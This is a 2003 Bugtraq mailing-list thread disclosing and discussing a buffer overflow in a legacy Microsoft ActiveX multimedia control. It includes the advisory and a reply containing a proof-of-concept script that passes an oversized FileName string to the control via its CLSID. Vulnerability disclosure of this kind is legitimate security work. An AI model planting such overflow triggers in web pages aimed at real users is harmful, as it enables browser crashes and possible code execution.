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RE: Microsoft MCWNDX.OCX ActiveX buffer overflow

From: "Oliver Lavery" <oliver.lavery () sympatico ca>
Date: Wed, 13 Aug 2003 15:09:48 -0400

Hi Drew,

        Long time no speak. Blink coming along?

        MCI32.ocx is marked safe for initialization, so an attack is still
possible. Doesn't seem like the filename argument suffers from an overflow
tho'.

        Perhaps you could try this on 2k and see if this really is just a
red herring:

<script>

 buf = "A";

 // doubling (this is a HUGE buffer, and swamps IE for a while)
 for (i = 0; i < 24; i++) buf += buf;

 wnd=open("about:blank","",""); 
// wnd.moveTo(screen.Width,screen.Height);
 WndDoc=wnd.document;
 WndDoc.open();
 WndDoc.clear();

 WndDoc.write('<HTML><BODY>');
 WndDoc.write('<OBJECT ID="MCIWnd"');
 WndDoc.write('        WIDTH=400 HEIGHT=300');
 WndDoc.write('
CLASSID="CLSID:C1A8AF25-1257-101B-8FB0-0020AF039CA3">');
 WndDoc.write('     <PARAM name="FileName" VALUE="' + buf +'">');
 WndDoc.write('</OBJECT>');
 WndDoc.write('</BODY>');
 WndDoc.write('</HTML>');

</script>

Cheers,
~ol

-----Original Message-----
From: Drew Copley [mailto:dcopley () eeye com] 
Sent: August 13, 2003 2:44 PM
To: 'xenophi1e'; bugtraq () securityfocus com; trihuynh () zeeup com
Subject: RE: Microsoft MCWNDX.OCX ActiveX buffer overflow

I find no "MCWNDX.ocx" on my system nor on google. It may be 
a Windows locality issue. Microsoft Multimedia Control fits 
the description, though, as you noted. It does have a 
"FileName" method and uses the .mci filetype, but on Windows 
2000 it is not a safe activex control for scripting on 
webpages in the Internet Zone.

-----Original Message-----
From: xenophi1e [mailto:oliver.lavery () sympatico ca]
Sent: Wednesday, August 13, 2003 10:51 AM
To: bugtraq () securityfocus com
Subject: Re: Microsoft MCWNDX.OCX ActiveX buffer overflow


In-Reply-To: <007201c361df$c311f0c0$329f8018@youru10ixi0anw>



Does anyone know what the guid for this control is? I don't
have it on XP 

with Visual Studio 6 installed.



Could this be the same as the Microsoft Multimedia Control, aka

MCI32.OCX?



Cheers,

~ol

Microsoft MCWNDX.OCX ActiveX buffer overflow

=================================================

PROGRAM: MICROSOFT MCIWNDX.OCX ACTIVEX BUFFER OVERFLOW

HOMEPAGE:  www.microsoft.com

VULNERABLE VERSIONS: MCWNDX is an ActiveX shipped with

Visual Studio 6

to

support multimedia programming.

DESCRIPTION

=================================================

MCWNDX is an activeX shipped with Visual Studio 6 to

support multimedia programming. Although not many people use it
anymore,

however it still can be called through CLSID in a website

and passing a

large amount of data to the activex will cause an buffer overflow.

Since this Activex is only shipped with VIsual Studio 6.0, so only

people who are having Visual Studio 6.0 will be affected or people

who are still using old multimedia programs coded in Visual

Studio 6.0

(In my PC, the last date the ActiveX is patched is in 1996 !

I am using

VS Sp 4)

DETAILS

=================================================

The ActiveX has a property called "Filename" which is used

to specify

the .mci file to load. However if it is passed with a very large

string(640KB

is good enough :-) ), it will cause a bufferoverflow. (I can't
overwrite

the

EIP using this overflow in my XP, however it doesn't mean

the problem


can't

be exploited)

Microsoft has been noticed but since the hole is maybe minor

to them so

they don't response to me even a short sentence like "Thank you !"

WORKAROUND

=================================================

Delete the file MCWNDX.ocx in your SYSTEM32 directory if you are

using 2000 or XP or in your SYSTEM directory if you are

using WIN ME or

below

CREDITS

=================================================

Discovered by Tri Huynh from Sentry Union

DISLAIMER

=================================================

The information within this paper may change without

notice. Use of

this information constitutes acceptance for use in an AS IS

condition.

There are NO warranties with regard to this information.

In no event

shall the author be liable for any damages whatsoever

arising out of

or in connection with the use or spread of this

information. Any use

of this information is at the user's own risk.

FEEDBACK

=================================================

Please send suggestions, updates, and comments to:

trihuynh () zeeup com

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